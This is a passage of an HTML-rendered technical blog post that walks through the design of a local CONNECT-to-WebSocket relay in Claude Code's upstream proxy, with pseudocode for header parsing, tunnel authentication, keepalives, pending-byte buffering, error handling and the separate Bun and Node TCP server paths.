        &lt;span class="nx"&gt;match&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;regex&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;CONNECT (&lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;&lt;span class="s2"&gt;S+) HTTP/1.[01]&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;firstLine&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nx"&gt;no&lt;/span&gt; &lt;span class="nx"&gt;match&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="nx"&gt;socket&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;HTTP/1.1 405 Method Not Allowed&lt;/span&gt;&lt;span class="se"&gt;\r\n\r\n&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="nx"&gt;socket&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;end&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
            &lt;span class="k"&gt;return&lt;/span&gt;

        &lt;span class="err"&gt;#&lt;/span&gt; &lt;span class="nx"&gt;Save&lt;/span&gt; &lt;span class="nx"&gt;any&lt;/span&gt; &lt;span class="nx"&gt;bytes&lt;/span&gt; &lt;span class="nx"&gt;that&lt;/span&gt; &lt;span class="nx"&gt;arrived&lt;/span&gt; &lt;span class="nx"&gt;after&lt;/span&gt; &lt;span class="nx"&gt;the&lt;/span&gt; &lt;span class="nx"&gt;header&lt;/span&gt;
        &lt;span class="err"&gt;#&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;TCP&lt;/span&gt; &lt;span class="nx"&gt;can&lt;/span&gt; &lt;span class="nx"&gt;coalesce&lt;/span&gt; &lt;span class="nx"&gt;CONNECT&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;TLS&lt;/span&gt; &lt;span class="nx"&gt;ClientHello&lt;/span&gt; &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="nx"&gt;one&lt;/span&gt; &lt;span class="nx"&gt;packet&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="nx"&gt;trailing&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;state&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;connectBuf&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;headerEnd&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;:]&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nx"&gt;trailing&lt;/span&gt; &lt;span class="nx"&gt;is&lt;/span&gt; &lt;span class="nx"&gt;not&lt;/span&gt; &lt;span class="nx"&gt;empty&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="nx"&gt;state&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;pending&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;trailing&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

        &lt;span class="nf"&gt;openTunnel&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;socket&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;state&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;firstLine&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The 8KB guard prevents a misbehaving client from filling memory with a never-terminating header. The 405 response handles non-CONNECT methods — the relay only does CONNECT, not GET/POST. The trailing-bytes buffer handles TCP coalescing, where the client's CONNECT request and TLS ClientHello arrive in the same TCP segment.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Phase 2: WebSocket Tunnel&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;openTunnel&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;socket&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;state&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;connectLine&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="err"&gt;#&lt;/span&gt; &lt;span class="nx"&gt;Open&lt;/span&gt; &lt;span class="nx"&gt;WebSocket&lt;/span&gt; &lt;span class="nx"&gt;to&lt;/span&gt; &lt;span class="nx"&gt;the&lt;/span&gt; &lt;span class="nx"&gt;cloud&lt;/span&gt; &lt;span class="nx"&gt;gateway&lt;/span&gt;
    &lt;span class="nx"&gt;ws&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;WebSocket&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;wsUrl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="na"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Content-Type&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;application/proto&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Authorization&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Bearer &amp;lt;session-token&amp;gt;&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;})&lt;/span&gt;
    &lt;span class="nx"&gt;ws&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;binaryType&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;arraybuffer&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;

    &lt;span class="nx"&gt;ws&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;onopen&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;():&lt;/span&gt;
        &lt;span class="err"&gt;#&lt;/span&gt; &lt;span class="nx"&gt;Send&lt;/span&gt; &lt;span class="nx"&gt;the&lt;/span&gt; &lt;span class="nx"&gt;CONNECT&lt;/span&gt; &lt;span class="nx"&gt;line&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;auth&lt;/span&gt; &lt;span class="nx"&gt;to&lt;/span&gt; &lt;span class="nx"&gt;the&lt;/span&gt; &lt;span class="nx"&gt;gateway&lt;/span&gt;
        &lt;span class="nx"&gt;head&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;connectLine&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\r\n&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;
             &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Proxy-Authorization: Basic &amp;lt;sessionId:token&amp;gt;&lt;/span&gt;&lt;span class="se"&gt;\r\n&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;
             &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\r\n&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;
        &lt;span class="nx"&gt;ws&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;send&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;encodeChunk&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;head&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;

        &lt;span class="err"&gt;#&lt;/span&gt; &lt;span class="nx"&gt;Flush&lt;/span&gt; &lt;span class="nx"&gt;any&lt;/span&gt; &lt;span class="nx"&gt;bytes&lt;/span&gt; &lt;span class="nx"&gt;buffered&lt;/span&gt; &lt;span class="nx"&gt;during&lt;/span&gt; &lt;span class="nx"&gt;WS&lt;/span&gt; &lt;span class="nx"&gt;handshake&lt;/span&gt;
        &lt;span class="nx"&gt;state&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;wsOpen&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;
        &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="nx"&gt;buf&lt;/span&gt; &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="nx"&gt;state&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;pending&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="nf"&gt;forwardToWs&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;ws&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="nx"&gt;state&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;pending&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;

        &lt;span class="err"&gt;#&lt;/span&gt; &lt;span class="nx"&gt;Start&lt;/span&gt; &lt;span class="nx"&gt;keepalive&lt;/span&gt; &lt;span class="nf"&gt;pings &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;30&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;second&lt;/span&gt; &lt;span class="nx"&gt;interval&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="nx"&gt;state&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;pinger&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;setInterval&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;sendKeepalive&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;30000&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;ws&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="nx"&gt;ws&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;onmessage&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="nx"&gt;payload&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;decodeChunk&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nx"&gt;payload&lt;/span&gt; &lt;span class="nx"&gt;and&lt;/span&gt; &lt;span class="nx"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="nx"&gt;state&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;established&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;
            &lt;span class="nx"&gt;socket&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="nx"&gt;ws&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;onerror&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nx"&gt;not&lt;/span&gt; &lt;span class="nx"&gt;state&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;established&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="nx"&gt;socket&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;HTTP/1.1 502 Bad Gateway&lt;/span&gt;&lt;span class="se"&gt;\r\n\r\n&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="nx"&gt;socket&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;end&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

    &lt;span class="nx"&gt;ws&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;onclose&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;():&lt;/span&gt;
        &lt;span class="nx"&gt;socket&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;end&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;There are two authentication layers. The WebSocket upgrade carries a &lt;code&gt;Bearer&lt;/code&gt; token — the gateway requires session-level auth on the upgrade request itself (proto authn: PRIVATE_API). Inside the tunnel, the CONNECT request carries &lt;code&gt;Proxy-Authorization: Basic&lt;/code&gt; with the session ID and token — this authenticates the specific tunnel and tells the gateway which target host:port to connect to.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Content-Type Trap
&lt;/h3&gt;

&lt;p&gt;The WebSocket connection must set &lt;code&gt;Content-Type: application/proto&lt;/code&gt;. Without it, the server's Go code treats the chunks as JSON and attempts &lt;code&gt;protojson.Unmarshal&lt;/code&gt; on the hand-encoded binary — which silently fails with EOF, producing no error but also no tunnel. This was presumably discovered through debugging, not design.&lt;/p&gt;

&lt;h3&gt;
  
  
  Keepalive
&lt;/h3&gt;

&lt;p&gt;The sidecar proxy has a 50-second idle timeout. The relay sends an empty protobuf chunk (zero-length data field) every 30 seconds as an application-level keepalive. Not all WebSocket implementations expose &lt;code&gt;ping()&lt;/code&gt;, so the empty chunk serves as a universal keepalive that the server can ignore.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Pending Buffer
&lt;/h3&gt;

&lt;p&gt;Between parsing the CONNECT header and the WebSocket connection becoming open, bytes can keep arriving. The subprocess's TLS library doesn't wait for the proxy handshake — it can send the TLS ClientHello immediately after the CONNECT request, sometimes in the same TCP packet (kernel coalescing), sometimes in a separate data event that fires before &lt;code&gt;ws.onopen&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Without buffering, these bytes would be silently dropped. The relay tracks a &lt;code&gt;pending&lt;/code&gt; array: any data that arrives after the CONNECT parse but before &lt;code&gt;wsOpen&lt;/code&gt; is true gets pushed to pending. When &lt;code&gt;onopen&lt;/code&gt; fires, pending is flushed in order. This handles both sources of early data:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="err"&gt;#&lt;/span&gt; &lt;span class="nx"&gt;TCP&lt;/span&gt; &lt;span class="nx"&gt;coalescing&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;CONNECT&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;ClientHello&lt;/span&gt; &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="nx"&gt;one&lt;/span&gt; &lt;span class="nx"&gt;packet&lt;/span&gt;
&lt;span class="nx"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;CONNECT&lt;/span&gt; &lt;span class="nx"&gt;api&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;example&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;com&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;443&lt;/span&gt; &lt;span class="nx"&gt;HTTP&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mf"&gt;1.1&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="nx"&gt;r&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="nx"&gt;n&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="nx"&gt;r&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="nx"&gt;n&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="nx"&gt;TLS&lt;/span&gt; &lt;span class="nx"&gt;ClientHello&lt;/span&gt;&lt;span class="p"&gt;...]&lt;/span&gt;
                                                       &lt;span class="o"&gt;^---&lt;/span&gt; &lt;span class="nx"&gt;trailing&lt;/span&gt; &lt;span class="nx"&gt;bytes&lt;/span&gt; &lt;span class="err"&gt;→&lt;/span&gt; &lt;span class="nx"&gt;pending&lt;/span&gt;

&lt;span class="err"&gt;#&lt;/span&gt; &lt;span class="nx"&gt;Async&lt;/span&gt; &lt;span class="nx"&gt;race&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;data&lt;/span&gt; &lt;span class="nx"&gt;event&lt;/span&gt; &lt;span class="nx"&gt;fires&lt;/span&gt; &lt;span class="nx"&gt;before&lt;/span&gt; &lt;span class="nx"&gt;onopen&lt;/span&gt;
&lt;span class="nx"&gt;ws&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;WebSocket&lt;/span&gt;&lt;span class="p"&gt;(...)&lt;/span&gt;   &lt;span class="err"&gt;#&lt;/span&gt; &lt;span class="nx"&gt;handshake&lt;/span&gt; &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="nx"&gt;flight&lt;/span&gt;
&lt;span class="err"&gt;#&lt;/span&gt; &lt;span class="p"&gt;...&lt;/span&gt; &lt;span class="nx"&gt;socket&lt;/span&gt; &lt;span class="nx"&gt;data&lt;/span&gt; &lt;span class="nx"&gt;callback&lt;/span&gt; &lt;span class="nx"&gt;fires&lt;/span&gt; &lt;span class="kd"&gt;with&lt;/span&gt; &lt;span class="nx"&gt;TLS&lt;/span&gt; &lt;span class="nx"&gt;bytes&lt;/span&gt; &lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nx"&gt;not&lt;/span&gt; &lt;span class="nx"&gt;wsOpen&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="nx"&gt;pending&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;    &lt;span class="err"&gt;#&lt;/span&gt; &lt;span class="nx"&gt;buffered&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;not&lt;/span&gt; &lt;span class="nx"&gt;lost&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  The WebSocket URL
&lt;/h3&gt;

&lt;p&gt;The relay constructs the WebSocket URL from the API base URL with a simple transform:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;wsUrl&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;baseUrl&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;replace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;http&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;ws&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;/v1/code/upstreamproxy/ws&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;
&lt;span class="err"&gt;#&lt;/span&gt; &lt;span class="nx"&gt;https&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="c1"&gt;//api.anthropic.com → wss://api.anthropic.com/v1/code/upstreamproxy/ws&lt;/span&gt;
&lt;span class="err"&gt;#&lt;/span&gt; &lt;span class="nx"&gt;http&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="c1"&gt;//localhost:8080     → ws://localhost:8080/v1/code/upstreamproxy/ws&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;replace&lt;/code&gt; catches both &lt;code&gt;http→ws&lt;/code&gt; and &lt;code&gt;https→wss&lt;/code&gt; because the regex matches only the first occurrence. The server-side endpoint path mirrors the REST API namespace.&lt;/p&gt;

&lt;h3&gt;
  
  
  The 502 Boundary
&lt;/h3&gt;

&lt;p&gt;The relay only sends &lt;code&gt;HTTP/1.1 502 Bad Gateway&lt;/code&gt; if the tunnel hasn't been established yet. Once the first server response has been forwarded (the &lt;code&gt;200 Connection Established&lt;/code&gt;), the connection is carrying TLS. Writing a plaintext HTTP error into a TLS stream would corrupt the client's connection. After establishment, the relay just closes the socket silently.&lt;/p&gt;

&lt;p&gt;A &lt;code&gt;closed&lt;/code&gt; flag prevents double-end: the WebSocket &lt;code&gt;onerror&lt;/code&gt; event is always followed by &lt;code&gt;onclose&lt;/code&gt;, and without a guard, both handlers would call &lt;code&gt;socket.end()&lt;/code&gt; on an already-ended socket. The first handler to fire sets &lt;code&gt;closed = true&lt;/code&gt;; the second sees the flag and returns immediately.&lt;/p&gt;




&lt;h2&gt;
  
  
  Two Runtimes, Two TCP Servers
&lt;/h2&gt;

&lt;p&gt;Claude Code supports both Bun and Node as runtimes. The relay needs a TCP server, and the two runtimes have fundamentally different TCP APIs. Rather than abstracting behind a compatibility layer, the relay implements two complete server paths and dispatches at startup:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;startRelay&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;wsUrl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;authHeader&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;wsAuthHeader&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="k"&gt;typeof&lt;/span&gt; &lt;span class="nx"&gt;Bun&lt;/span&gt; &lt;span class="nx"&gt;is&lt;/span&gt; &lt;span class="nx"&gt;not&lt;/span&gt; &lt;span class="kc"&gt;undefined&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;startBunRelay&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;wsUrl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;authHeader&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;wsAuthHeader&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;startNodeRelay&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;wsUrl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;authHeader&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;wsAuthHeader&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  The Bun Path
&lt;/h3&gt;

&lt;p&gt;Bun provides &lt;code&gt;Bun.listen()&lt;/code&gt;, a callback-based TCP server where each connection gets an &lt;code&gt;open&lt;/code&gt;, &lt;code&gt;data&lt;/code&gt;, &lt;code&gt;drain&lt;/code&gt;, &lt;code&gt;close&lt;/code&gt;, and &lt;code&gt;error&lt;/code&gt; handler. Connection state is stored directly on the socket's &lt;code&gt;data&lt;/code&gt; property — no external map needed.&lt;/p&gt;

&lt;p&gt;The critical difference is &lt;strong&gt;write backpressure&lt;/strong&gt;. When you call &lt;code&gt;sock.write(bytes)&lt;/code&gt; in Bun, it returns the number of bytes actually written to the kernel buffer. If the buffer is full, it returns less than the full length. The remaining bytes are &lt;strong&gt;silently dropped&lt;/strong&gt; — Bun does not auto-buffer them.&lt;/p&gt;

&lt;p&gt;The relay handles this with an explicit write queue per connection:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;bunWrite&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;socket&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;state&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="nx"&gt;bytes&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;toBytes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="err"&gt;#&lt;/span&gt; &lt;span class="nx"&gt;If&lt;/span&gt; &lt;span class="nx"&gt;there&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;s already a backlog, just queue
    if state.writeBuf is not empty:
        state.writeBuf.push(bytes)
        return

    # Try writing directly
    n = socket.write(bytes)
    if n &amp;lt; bytes.length:
        # Partial write — queue the remainder
        state.writeBuf.push(bytes[n:])

